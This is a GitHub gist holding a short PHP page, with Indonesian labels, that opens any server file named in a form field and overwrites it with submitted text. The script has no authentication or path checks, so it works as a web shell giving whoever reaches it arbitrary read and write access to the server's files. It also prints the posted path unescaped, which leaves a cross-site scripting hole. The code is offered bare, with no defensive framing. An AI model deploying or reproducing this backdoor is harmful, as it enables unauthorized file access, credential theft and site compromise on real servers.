Skip to content

Instantly share code, notes, and snippets.

@ammarfaizi2
Created March 27, 2018 10:28
Show Gist options
  • Save ammarfaizi2/5275fa4427cbfbf2d9b0939eca6075b3 to your computer and use it in GitHub Desktop.
Save ammarfaizi2/5275fa4427cbfbf2d9b0939eca6075b3 to your computer and use it in GitHub Desktop.
<?php
if (isset($_GET["i"], $_POST["submit"]) && $_GET["i"] === "edit") {
$file = fopen($_POST['file'],"w");
echo fwrite($file,$_POST['message']);
fclose($file);
header("location:?");
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<center><?php
if (! isset($_POST["submit"])) { ?>
<form action="" method="post">
Letak File:<br>
<input type="text" name="file" placeholder="Letak File">
<br>
<input type="submit" name="submit" placeholder="Submit"/>
</form>
<?php } else { ?>
<form action="?i=edit" method="post">
<input type="hidden" name="file" value="<?php print $_POST["file"]; ?>">
<textarea name="message" cols="40" rows="6"><?php echo htmlspecialchars(file_get_contents($_POST['file'])); ?></textarea>
<br>
<input type="submit" name="submit" value="Submit"/>
</form>
<?php } ?>
</center>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment